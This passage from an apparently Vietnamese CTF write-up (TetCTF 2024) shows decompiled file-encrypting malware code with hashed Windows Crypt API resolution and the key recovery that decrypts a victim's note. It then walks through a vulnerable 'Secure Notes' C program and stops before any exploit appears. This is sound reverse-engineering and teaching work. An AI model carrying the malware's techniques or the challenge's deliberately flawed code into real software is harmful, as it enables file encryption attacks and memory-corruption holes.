  <span class="hljs-keyword">void</span> (__stdcall *v16)(<span class="hljs-keyword">int</span>); <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> (__stdcall *v17)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// ecx</span>
  <span class="hljs-keyword">int</span> v18; <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">bool</span> v20; <span class="hljs-comment">// bl</span>
  <span class="hljs-keyword">int</span> v21; <span class="hljs-comment">// [esp+0h] [ebp-38h]</span>
  <span class="hljs-keyword">void</span> (__stdcall *v22)(<span class="hljs-keyword">int</span>); <span class="hljs-comment">// [esp+Ch] [ebp-2Ch]</span>
  <span class="hljs-keyword">int</span> (__stdcall *v23)(<span class="hljs-keyword">int</span>, _DWORD, <span class="hljs-keyword">int</span>, _DWORD, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span> (__stdcall **)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, _DWORD, _DWORD, <span class="hljs-keyword">int</span> *, <span class="hljs-keyword">int</span>), <span class="hljs-keyword">int</span> (__stdcall *)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, _DWORD, _DWORD, <span class="hljs-keyword">int</span> *, <span class="hljs-keyword">int</span>)); <span class="hljs-comment">// [esp+10h] [ebp-28h]</span>
  <span class="hljs-keyword">int</span> (__stdcall *v25)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, _DWORD, _DWORD, <span class="hljs-keyword">int</span> *, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// [esp+18h] [ebp-20h] BYREF</span>
  <span class="hljs-keyword">int</span> (__stdcall *v26)(<span class="hljs-keyword">int</span> *, _DWORD, _DWORD, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// [esp+1Ch] [ebp-1Ch]</span>
  <span class="hljs-keyword">void</span> (__stdcall *v27)(<span class="hljs-keyword">int</span>); <span class="hljs-comment">// [esp+20h] [ebp-18h]</span>
  <span class="hljs-keyword">int</span> (__stdcall *v28)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span> *); <span class="hljs-comment">// [esp+24h] [ebp-14h]</span>
  <span class="hljs-keyword">int</span> (__stdcall *v29)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>); <span class="hljs-comment">// [esp+28h] [ebp-10h]</span>
  <span class="hljs-keyword">int</span> v30; <span class="hljs-comment">// [esp+2Ch] [ebp-Ch] BYREF</span>
  <span class="hljs-keyword">int</span> v31; <span class="hljs-comment">// [esp+30h] [ebp-8h] BYREF</span>
  <span class="hljs-keyword">int</span> v32; <span class="hljs-comment">// [esp+34h] [ebp-4h] BYREF</span>

  CryptAcquireContextA = (<span class="hljs-keyword">int</span> (__stdcall *)(<span class="hljs-keyword">int</span> *, _DWORD, _DWORD, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>))(*a2)(<span class="hljs-number">249665980</span>, <span class="hljs-number">1858846290</span>);
  v7 = *a2;
  CryptAcquireContextA_ = CryptAcquireContextA;
  CryptCreateHash = (<span class="hljs-keyword">int</span> (__stdcall *)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, _DWORD, _DWORD, <span class="hljs-keyword">int</span> *, <span class="hljs-keyword">int</span>))v7(<span class="hljs-number">249665980</span>, <span class="hljs-number">1573185900</span>);
  v9 = *a2;
  CryptCreateHash_ = CryptCreateHash;
  CryptReleaseContext = (<span class="hljs-keyword">void</span> (__stdcall *)(<span class="hljs-keyword">int</span>))v9(<span class="hljs-number">249665980</span>, <span class="hljs-number">1229890258</span>);
  CryptHashData = (<span class="hljs-keyword">int</span> (__stdcall *)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>))(*a2)(<span class="hljs-number">0xEE199BC</span>, <span class="hljs-number">0x7815B132</span>);
  v12 = *a2;
  CryptHashData_ = CryptHashData;
  CryptDestroyHash = (<span class="hljs-keyword">void</span> (__stdcall *)(<span class="hljs-keyword">int</span>))v12(<span class="hljs-number">0xEE199BC</span>, <span class="hljs-number">0x1EB84116</span>);
  CryptDestroyHash_ = CryptDestroyHash;
  CryptDeriveKey = (<span class="hljs-keyword">int</span> (__stdcall *)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span> *))(*a2)(<span class="hljs-number">0xEE199BC</span>, <span class="hljs-number">0x21695E2A</span>);
  v15 = *a2;
  CryptDeriveKey_ = CryptDeriveKey;
  CryptDestroyKey = (<span class="hljs-keyword">void</span> (__stdcall *)(<span class="hljs-keyword">int</span>))v15(<span class="hljs-number">0xEE199BC</span>, <span class="hljs-number">0x1B98AC67</span>);
  v17 = *a2;
  CryptDestroyKey_ = CryptDestroyKey;
  CryptEncrypt = v17(<span class="hljs-number">0xEE199BC</span>, <span class="hljs-number">0x2B75EDEF</span>);
  CryptEncrypt_ = (<span class="hljs-keyword">int</span> (__stdcall *)(<span class="hljs-keyword">int</span>, _DWORD, <span class="hljs-keyword">int</span>, _DWORD, <span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span> (__stdcall **)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, _DWORD, _DWORD, <span class="hljs-keyword">int</span> *, <span class="hljs-keyword">int</span>), <span class="hljs-keyword">int</span> (__stdcall *)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>, _DWORD, _DWORD, <span class="hljs-keyword">int</span> *, <span class="hljs-keyword">int</span>)))CryptEncrypt;
  v32 = <span class="hljs-number">0</span>;
  v31 = <span class="hljs-number">0</span>;
  v30 = <span class="hljs-number">0</span>;
  <span class="hljs-keyword">if</span> ( !CryptAcquireContextA_
    || !CryptCreateHash_
    || !CryptReleaseContext
    || !CryptHashData_
    || !CryptDestroyHash
    || !CryptDeriveKey_
    || !CryptDestroyKey_
    || !CryptEncrypt
    || !CryptAcquireContextA_(&amp;v32, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">24</span>, <span class="hljs-number">-268435456</span>) )
  {
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
  }
  <span class="hljs-keyword">if</span> ( !CryptCreateHash_(v32, <span class="hljs-number">0x800C</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, &amp;v31, v21) )
  {
LABEL_13:
    CryptReleaseContext(v32);
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
  }
  <span class="hljs-keyword">if</span> ( !CryptHashData_(v31, a4, a5) || !CryptDeriveKey_(v32, <span class="hljs-number">0x6801</span>, v31, <span class="hljs-number">0x580011</span>, &amp;v30) )
  {
    ((<span class="hljs-keyword">void</span> (__stdcall *)(<span class="hljs-keyword">int</span>, _DWORD))CryptDestroyHash)(v31, <span class="hljs-number">0</span>);
    <span class="hljs-keyword">goto</span> LABEL_13;
  }
  CryptCreateHash_ = a3;
  v20 = CryptEncrypt_(v30, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, a1, &amp;CryptCreateHash_, a3) != <span class="hljs-number">0</span>;
  CryptDestroyKey_(v30);
  CryptDestroyHash_(v31);
  ((<span class="hljs-keyword">void</span> (__stdcall *)(<span class="hljs-keyword">int</span>, _DWORD))CryptReleaseContext)(v32, <span class="hljs-number">0</span>);
  <span class="hljs-keyword">return</span> v20;
}
</code></pre>
<p>Sau khi chạy qua hàm <code>CryptEncrypt_(v30, 0, 1, 0, a1, &amp;CryptCreateHash_, a3)</code>, thì 1 loạt data mới đã được khi đè vào file <code>important_note.txt</code></p>
<p><img src="https://hackmd.io/_uploads/BkKgTCc9T.png" alt="image" /></p>
<p>Sau khi phân thích hết các gói tin, mình kết luận rằng ta cần phải tìm được tên người dùng của nạn nhân và tên máy tính của nạn nhân. Vì các gói tin phản hồi đã được mã hóa, nên việc ta cần làm là giải mã nó xem có sử dụng được gì không nhưng mình thu gọn được phạm vi kiểm tra xuống chỉ còn 3 gói tin cuối, vì các gói tin bên trên thường chỉ là phản hồi của lib hoặc shell, chứ không phải resquest. Giờ ta có 2 hướng để làm, 1 là code mô phỏng lại thuật toán giải mã của chương trình. Nhưng với thằng code gà như mình thì mình sẽ tìm trick. Mình nảy ra ý tưởng là sao không gửi đống data được trả về để cho chương trình decode cho mình luôn nhỉ=)))))). Và đây là thành quả mình thu được</p>
<p><img src="https://hackmd.io/_uploads/HkMx8yo56.png" alt="image" /></p>
<p>Từ đây mình có thể đoán được rằng tên người dùng là <code>johndoe</code>. Tương tự như vậy, mình cũng tìm ra được tên máy là <code>DESKTOP-O6RCQQC</code>. Qua đó ta có key là <code>encrypted_by_pepega_DESKTOP-O6RCQQC_johndoe\x00</code>. Patch key vào, set lại len cho chuẩn và cho chạy qua hàm encrypt là xong. Kết quả</p>
<p><img src="https://hackmd.io/_uploads/SJ9hUkjcp.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/rJBoI1j56.png" alt="image" /></p>
<h1 id="heading-pwnable"><strong>Pwnable</strong></h1>
<h2 id="heading-pwn02-coolpool">pwn02: CoolPool</h2>
<p><a target="_blank" href="https://ajomix.hashnode.dev/pwn-coolpool-tetctf2024">WriteUp chi tiết</a><strong><em>credit: ajomix</em></strong></p>
<h2 id="heading-pwn03-flag1-secure-notes"><strong>pwn03-flag1:</strong> Secure Notes</h2>
<p><strong><em>credit: Naox13</em></strong></p>
<p>Trong file zip của challenge có <code>2</code> binary là <code>interface</code> và <code>backend</code></p>
<p>Đọc file <a target="_blank" href="http://start.sh"><code>start.sh</code></a> để biết chương trình chạy như thế nào</p>
<p><img src="https://hackmd.io/_uploads/B1Ya4puqT.png" alt="Screenshot 2024-02-01 141227" /></p>
<p>Chạy <code>interface</code> với argument là <code>backend</code></p>
<p><img src="https://hackmd.io/_uploads/r101H6u5T.png" alt="Screenshot 2024-02-01 141440" /></p>
<p>Option <code>1</code></p>
<pre><code class="lang-cpp"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">add_new_note</span><span class="hljs-params">()</span>
</span>{
    <span class="hljs-keyword">char</span> title[<span class="hljs-number">32</span>];
    <span class="hljs-keyword">char</span> author[<span class="hljs-number">32</span>];
    <span class="hljs-keyword">char</span> buf[<span class="hljs-number">64</span>];
    <span class="hljs-keyword">char</span> passwd_hash[SHA256_DIGEST_LENGTH];
    <span class="hljs-keyword">int</span> is_encrypt;
    <span class="hljs-keyword">uint32_t</span> content_len;

    <span class="hljs-keyword">if</span>(notes_size &gt; MAX_NOTE){
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Unable to add new note\n"</span>);
        <span class="hljs-keyword">return</span>;
    }

    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Title: "</span>);
    read_line(title, <span class="hljs-keyword">sizeof</span>(title) - <span class="hljs-number">1</span>);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Author: "</span>);
    read_line(author, <span class="hljs-keyword">sizeof</span>(author) - <span class="hljs-number">1</span>);

    <span class="hljs-keyword">do</span>{
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Wanna encrypt this notes? (y/n) "</span>);
        read_line(buf, <span class="hljs-keyword">sizeof</span>(buf));
    }<span class="hljs-keyword">while</span>(buf[<span class="hljs-number">0</span>] != <span class="hljs-string">'y'</span> &amp;&amp; buf[<span class="hljs-number">0</span>] != <span class="hljs-string">'n'</span>);

    is_encrypt = buf[<span class="hljs-number">0</span>] == <span class="hljs-string">'y'</span> ? <span class="hljs-number">1</span> : <span class="hljs-number">0</span>;

    Note_t new_note = Note_init(title, author, <span class="hljs-number">0</span>, is_encrypt);
    <span class="hljs-keyword">if</span>(is_encrypt){
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"What is your passwd? "</span>);
        bzero(buf, <span class="hljs-keyword">sizeof</span>(buf));

        read_line(buf, <span class="hljs-keyword">sizeof</span>(buf) - <span class="hljs-number">1</span>);
        SHA256((<span class="hljs-keyword">const</span> <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> *)buf, <span class="hljs-built_in">strlen</span>(buf), (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> *)passwd_hash);
    }

    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"How many bytes for content? "</span>);
    content_len = read_int();
    <span class="hljs-keyword">if</span>(content_len &gt; MAX_CONTENT_LEN){
        content_len = MAX_CONTENT_LEN;
    }

    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Content: \n"</span>);
    new_note-&gt;note_content = <span class="hljs-built_in">malloc</span>(content_len);
    new_note-&gt;note_content_len = content_len;
    fgets(new_note-&gt;note_content, content_len, <span class="hljs-built_in">stdin</span>);

    <span class="hljs-keyword">if</span>(is_encrypt){
        <span class="hljs-comment">// sync this note to backend</span>
        <span class="hljs-keyword">size_t</span> send_size = <span class="hljs-keyword">sizeof</span>(struct msg_hdr) + <span class="hljs-keyword">sizeof</span>(struct NoteSerialize) + <span class="hljs-keyword">sizeof</span>(passwd_hash) + content_len;
        <span class="hljs-keyword">msg_hdr_t</span> send_msg = <span class="hljs-built_in">malloc</span>(send_size);
        send_msg-&gt;action = COMMIT;
        send_msg-&gt;msg_size = send_size - <span class="hljs-keyword">sizeof</span>(struct msg_hdr);
        NoteSerialize_t serialize_p = (NoteSerialize_t)send_msg-&gt;msg_content;
        <span class="hljs-built_in">memcpy</span>(&amp;(serialize_p-&gt;common), &amp;(new_note-&gt;common), <span class="hljs-keyword">sizeof</span>(struct NoteCommon));
        serialize_p-&gt;note_content_len = <span class="hljs-keyword">sizeof</span>(passwd_hash) + content_len;
        <span class="hljs-built_in">memcpy</span>(serialize_p-&gt;content, passwd_hash, <span class="hljs-keyword">sizeof</span>(passwd_hash));
        <span class="hljs-built_in">memcpy</span>(&amp;(serialize_p-&gt;content[<span class="hljs-keyword">sizeof</span>(passwd_hash)]), new_note-&gt;note_content, new_note-&gt;note_content_len);

        send_data(&amp;ipc, RECEIVER, send_msg, send_size);
        <span class="hljs-built_in">free</span>(send_msg);

        <span class="hljs-keyword">uint64_t</span> status = <span class="hljs-number">0</span>;
        <span class="hljs-keyword">int</span> rc = recv_data_timeout(&amp;ipc, SENDER, <span class="hljs-literal">NULL</span>, (<span class="hljs-keyword">uint64_t</span> *)&amp;status, <span class="hljs-number">60</span>);

        <span class="hljs-keyword">if</span>(IS_ERR(rc) || status != OK){
            <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Unable to sync this note to server :(, destroying this note\n"</span>);
            Note_destroy(new_note);
            <span class="hljs-keyword">return</span>;
        }

        <span class="hljs-built_in">free</span>(new_note-&gt;note_content);
        new_note-&gt;note_content = <span class="hljs-literal">NULL</span>;
        new_note-&gt;note_synced = <span class="hljs-number">1</span>;
    }

    DL_APPEND(notes, new_note);
    notes_size++;
    <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Added"</span>);
}
</code></pre>
<p>Khởi tạo<code>1</code> note. Nếu như chọn option <code>encrypt</code> thì hàm này sẽ tạo <code>1</code> key bằng cách lấy hash <code>SHA256</code> của <code>password</code> mình nhập vào rồi gửi cho <code>backend</code> để <code>backend</code> mã hóa, còn không thì sẽ chỉ tạo note đó trên <code>interface</code></p>
<p>1 số structs mà <code>interface</code> sử dụng</p>
<pre><code class="lang-cpp"><span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">Note</span> {</span>
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">NoteCommon</span> <span class="hljs-title">common</span>;</span>
    <span class="hljs-keyword">char</span> *note_content;
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">Note</span> *<span class="hljs-title">prev</span>;</span>
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">Note</span> *<span class="hljs-title">next</span>;</span>
};
<span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">NoteSerialize</span> {</span>
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">NoteCommon</span> <span class="hljs-title">common</span>;</span>
    <span class="hljs-keyword">char</span> content[];
};
<span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">NoteCommon</span> {</span>
    <span class="hljs-keyword">char</span> title[MAX_LEN];
    <span class="hljs-keyword">char</span> author[<span class="hljs-number">32</span>];
    <span class="hljs-keyword">uint32_t</span> content_len;
    <span class="hljs-keyword">uint32_t</span> flags;
    <span class="hljs-keyword">uint32_t</span> encrypt:<span class="hljs-number">1</span>;
    <span class="hljs-keyword">uint32_t</span> synced:<span class="hljs-number">1</span>; <span class="hljs-comment">// unsed in backend</span>
};
<span class="hljs-keyword">typedef</span> <span class="hljs-keyword">enum</span> Action {
    NONE = <span class="hljs-number">0</span>,
    COMMIT = <span class="hljs-number">1</span>,
    FETCH = <span class="hljs-number">2</span>,
    DELETE = <span class="hljs-number">3</span>,
    AUTH = <span class="hljs-number">4</span>,
    TRUNCATED = <span class="hljs-number">5</span> <span class="hljs-comment">// use for reply_msg is larger than SHM_MEM_MAX_SIZE</span>
} Action;

<span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">msg_hdr</span> {</span>
    Action action;
    <span class="hljs-keyword">uint32_t</span> msg_size;
    <span class="hljs-keyword">char</span> msg_content[];
};
</code></pre>
<p>Option 2:</p>
<pre><code class="lang-cpp"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">list_note</span><span class="hljs-params">()</span>
</span>{
    Note_t tnote;
    DL_FOREACH(notes, tnote){
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Title: %s\n"</span>, tnote-&gt;note_title);
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Author: %s\n"</span>, tnote-&gt;note_author);
        <span class="hljs-keyword">if</span>(tnote-&gt;note_is_encrypt){
            <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Content: (Encrypted)\n"</span>);
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Content: %s\n"</span>, tnote-&gt;note_content);
        }
    }
}
</code></pre>
<p>Đơn giản là in ra <code>content</code> của các note(nếu không được mã hóa)</p>
<p>Option 3:</p>
<pre><code class="lang-cpp"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">read_note</span><span class="hljs-params">()</span>
</span>{
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">Note</span> <span class="hljs-title">s_note</span>;</span>
    Note_t tmp;
    <span class="hljs-keyword">char</span> buf[<span class="hljs-number">64</span>];
    <span class="hljs-keyword">char</span> passwd_hash[SHA256_DIGEST_LENGTH];
    <span class="hljs-keyword">msg_hdr_t</span> send_msg;
    <span class="hljs-keyword">msg_hdr_t</span> recv_msg;
    <span class="hljs-keyword">size_t</span> recv_size = <span class="hljs-number">0</span>;
    <span class="hljs-keyword">size_t</span> send_size = <span class="hljs-number">0</span>;
    NoteSerialize_t serialize_p;
    Status status;
    <span class="hljs-keyword">int</span> rc;

    bzero(&amp;s_note, <span class="hljs-keyword">sizeof</span>(struct Note));
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Title: "</span>);
    read_line(s_note.note_title, <span class="hljs-keyword">sizeof</span>(s_note.note_title) - <span class="hljs-number">1</span>);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Author: "</span>);
    read_line(s_note.note_author, <span class="hljs-keyword">sizeof</span>(s_note.note_author) - <span class="hljs-number">1</span>);

    DL_SEARCH(notes, tmp, &amp;s_note, Note_cmp);
    <span class="hljs-keyword">if</span>(!tmp){
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Unable to find your note\n"</span>);
        <span class="hljs-keyword">return</span>;
    }

    <span class="hljs-keyword">if</span>(tmp-&gt;note_is_encrypt){
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Password? "</span>);
        read_line(buf, <span class="hljs-keyword">sizeof</span>(buf) - <span class="hljs-number">1</span>);
        <span class="hljs-comment">// sha1 here</span>
        SHA256((<span class="hljs-keyword">const</span> <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> *)buf, <span class="hljs-built_in">strlen</span>(buf), (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> *)passwd_hash);

        <span class="hljs-comment">// read from backend</span>
        send_size = <span class="hljs-keyword">sizeof</span>(struct msg_hdr) + <span class="hljs-keyword">sizeof</span>(struct NoteSerialize) + SHA256_DIGEST_LENGTH;
        send_msg = <span class="hljs-built_in">malloc</span>(send_size);
        send_msg-&gt;action = FETCH;
        send_msg-&gt;msg_size = send_size - <span class="hljs-keyword">sizeof</span>(struct msg_hdr);
        serialize_p = (NoteSerialize_t)send_msg-&gt;msg_content;

        <span class="hljs-built_in">memcpy</span>(&amp;(serialize_p-&gt;common), &amp;(tmp-&gt;common), <span class="hljs-keyword">sizeof</span>(struct NoteCommon));
        <span class="hljs-built_in">memcpy</span>(serialize_p-&gt;content, passwd_hash, <span class="hljs-keyword">sizeof</span>(passwd_hash));

        send_data(&amp;ipc, RECEIVER, send_msg, send_size);
        <span class="hljs-built_in">free</span>(send_msg);

        rc = recv_data_timeout(&amp;ipc, SENDER, (<span class="hljs-keyword">void</span> **)&amp;recv_msg, &amp;recv_size, <span class="hljs-number">60</span>);
        <span class="hljs-keyword">if</span>(IS_ERR(rc) || recv_size &lt; <span class="hljs-keyword">sizeof</span>(struct msg_hdr)){
            <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Unable to read content\n"</span>);
            <span class="hljs-keyword">return</span>;
        }

        serialize_p = (NoteSerialize_t)recv_msg-&gt;msg_content;
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Content: %s\n"</span>, serialize_p-&gt;content);

    } <span class="hljs-keyword">else</span> {
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Content: %s\n"</span>, tmp-&gt;note_content);
    }
}
</code></pre>
<p>Chọn <code>1</code> note để in ra <code>content</code>. Nếu note được mã hóa thì sẽ lấy <code>content</code> trên <code>backend</code> bằng cách đưa cho <code>password</code> để chương trình tạo <code>key</code> và thông qua xác thực thì mới lấy được nội dung của note. Còn nếu không bị encrypt thì lấy luôn <code>content</code> của note trên <code>interface</code></p>
<p>Option 4:</p>
<pre><code class="lang-cpp"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">edit_note</span><span class="hljs-params">()</span>
</span>{
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">Note</span> <span class="hljs-title">s_note</span>;</span>
    Note_t tmp;
    <span class="hljs-keyword">char</span> buf[<span class="hljs-number">64</span>];
    <span class="hljs-keyword">char</span> passwd_hash[SHA256_DIGEST_LENGTH];
    <span class="hljs-keyword">msg_hdr_t</span> send_msg;
    <span class="hljs-keyword">size_t</span> send_size = <span class="hljs-number">0</span>;
    NoteSerialize_t serialize_p;
    <span class="hljs-keyword">uint64_t</span> status;
    <span class="hljs-keyword">int</span> rc;

    bzero(&amp;s_note, <span class="hljs-keyword">sizeof</span>(struct Note));
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Title: "</span>);
    read_line(s_note.note_title, <span class="hljs-keyword">sizeof</span>(s_note.note_title) - <span class="hljs-number">1</span>);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Author: "</span>);
    read_line(s_note.note_author, <span class="hljs-keyword">sizeof</span>(s_note.note_author) - <span class="hljs-number">1</span>);

    DL_SEARCH(notes, tmp, &amp;s_note, Note_cmp);
    <span class="hljs-keyword">if</span>(!tmp){
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Unable to find your note\n"</span>);
        <span class="hljs-keyword">return</span>;
    }

    <span class="hljs-keyword">if</span>(tmp-&gt;note_is_encrypt){
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Password ?"</span>);
        read_line(buf, <span class="hljs-keyword">sizeof</span>(buf) - <span class="hljs-number">1</span>);
        <span class="hljs-comment">// sha256</span>
        SHA256((<span class="hljs-keyword">const</span> <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> *)buf, <span class="hljs-built_in">strlen</span>(buf), (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> *)passwd_hash);

        <span class="hljs-comment">// sync with server</span>
        send_size = <span class="hljs-keyword">sizeof</span>(struct msg_hdr) + <span class="hljs-keyword">sizeof</span>(struct NoteSerialize) + <span class="hljs-keyword">sizeof</span>(passwd_hash);
        send_msg = <span class="hljs-built_in">malloc</span>(send_size);
        send_msg-&gt;action = AUTH;
        send_msg-&gt;msg_size = send_size - <span class="hljs-keyword">sizeof</span>(struct msg_hdr);
        serialize_p = (NoteSerialize_t)send_msg-&gt;msg_content;
        <span class="hljs-built_in">memcpy</span>(&amp;(serialize_p-&gt;common), &amp;(tmp-&gt;common), <span class="hljs-keyword">sizeof</span>(struct NoteCommon));
        serialize_p-&gt;note_content_len = <span class="hljs-keyword">sizeof</span>(passwd_hash);
        <span class="hljs-built_in">memcpy</span>(serialize_p-&gt;content, passwd_hash, <span class="hljs-keyword">sizeof</span>(passwd_hash));

        send_data(&amp;ipc, RECEIVER, send_msg, send_size);
        <span class="hljs-built_in">free</span>(send_msg);

        rc = recv_data_timeout(&amp;ipc, SENDER, <span class="hljs-literal">NULL</span>, &amp;status, <span class="hljs-number">60</span>);
        <span class="hljs-keyword">if</span>(IS_ERR(rc) || status != OK){
            <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Authenticate was failed\n"</span>);
            <span class="hljs-keyword">return</span>;
        }
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Access granted\n"</span>);
    }

    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"New content len?"</span>);
    <span class="hljs-keyword">uint32_t</span> content_len = read_int();
    content_len = content_len &lt; MAX_CONTENT_LEN ? content_len: MAX_CONTENT_LEN;

    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"New content:\n"</span>);
    <span class="hljs-keyword">if</span>(tmp-&gt;note_is_encrypt){
        tmp-&gt;note_content = <span class="hljs-built_in">malloc</span>(content_len);
        tmp-&gt;note_content_len = content_len;
        fgets(tmp-&gt;note_content, content_len, <span class="hljs-built_in">stdin</span>);
        <span class="hljs-comment">// sync with server</span>
        send_size = <span class="hljs-keyword">sizeof</span>(struct msg_hdr) + <span class="hljs-keyword">sizeof</span>(struct NoteSerialize) + <span class="hljs-keyword">sizeof</span>(passwd_hash) + content_len;
        send_msg = <span class="hljs-built_in">malloc</span>(send_size);
        send_msg-&gt;action = COMMIT;
        send_msg-&gt;msg_size = send_size - <span class="hljs-keyword">sizeof</span>(struct msg_hdr);
        serialize_p = (NoteSerialize_t)send_msg-&gt;msg_content;
        <span class="hljs-built_in">memcpy</span>(&amp;(serialize_p-&gt;common), &amp;(tmp-&gt;common), <span class="hljs-keyword">sizeof</span>(struct NoteCommon));

        serialize_p-&gt;note_content_len += <span class="hljs-keyword">sizeof</span>(passwd_hash);
        <span class="hljs-built_in">memcpy</span>(serialize_p-&gt;content, passwd_hash, <span class="hljs-keyword">sizeof</span>(passwd_hash));
        <span class="hljs-built_in">memcpy</span>(serialize_p-&gt;content + <span class="hljs-keyword">sizeof</span>(passwd_hash), tmp-&gt;note_content, tmp-&gt;note_content_len);

        <span class="hljs-built_in">free</span>(tmp-&gt;note_content);
        tmp-&gt;note_content = <span class="hljs-literal">NULL</span>;

        send_data(&amp;ipc, RECEIVER, send_msg, send_size);
        <span class="hljs-built_in">free</span>(send_msg);

        rc = recv_data_timeout(&amp;ipc, SENDER, <span class="hljs-literal">NULL</span>, (<span class="hljs-keyword">uint64_t</span> *)&amp;status, <span class="hljs-number">60</span>);
        <span class="hljs-keyword">if</span>(IS_ERR(rc) || status != OK){
            <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Unable to update your content\n"</span>);
            <span class="hljs-keyword">return</span>;
        }
        tmp-&gt;note_synced = <span class="hljs-number">1</span>;
    } <span class="hljs-keyword">else</span> {
        <span class="hljs-keyword">if</span>(tmp-&gt;note_content){
            <span class="hljs-built_in">free</span>(tmp-&gt;note_content);
        }
        tmp-&gt;note_content = <span class="hljs-built_in">malloc</span>(content_len);
        tmp-&gt;note_content_len = content_len;
        fgets(tmp-&gt;note_content, content_len, <span class="hljs-built_in">stdin</span>);
        tmp-&gt;note_synced = <span class="hljs-number">0</span>;
    }
}
</code></pre>
<p>Chọn <code>1</code> note để thay đổi <code>content</code>. Nếu được mã hóa thì sẽ phải qua bước xác thực tới <code>backend</code> còn không thì sẽ chỉ thay đổi <code>content</code> trên <code>interface</code></p>
<p>Cuối cùng là hàm <code>note_sync</code> ở option 6</p>
<pre><code class="lang-cpp"><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">note_sync</span><span class="hljs-params">(<span class="hljs-keyword">int</span> flag)</span>
</span>{
    <span class="hljs-keyword">msg_hdr_t</span> msg_hdr = <span class="hljs-literal">NULL</span>;
    <span class="hljs-keyword">uint32_t</span> send_size, recv_size;
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">msg_hdr</span> <span class="hljs-title">inline_msg_hdr</span>;</span>
    Note_t cur_note, next_note, next_note2;
    NoteSerialize_t serialize_p;
    <span class="hljs-keyword">uint64_t</span> status;
    <span class="hljs-keyword">uint32_t</span> read_count = <span class="hljs-number">0</span>;
    <span class="hljs-keyword">int</span> rc;

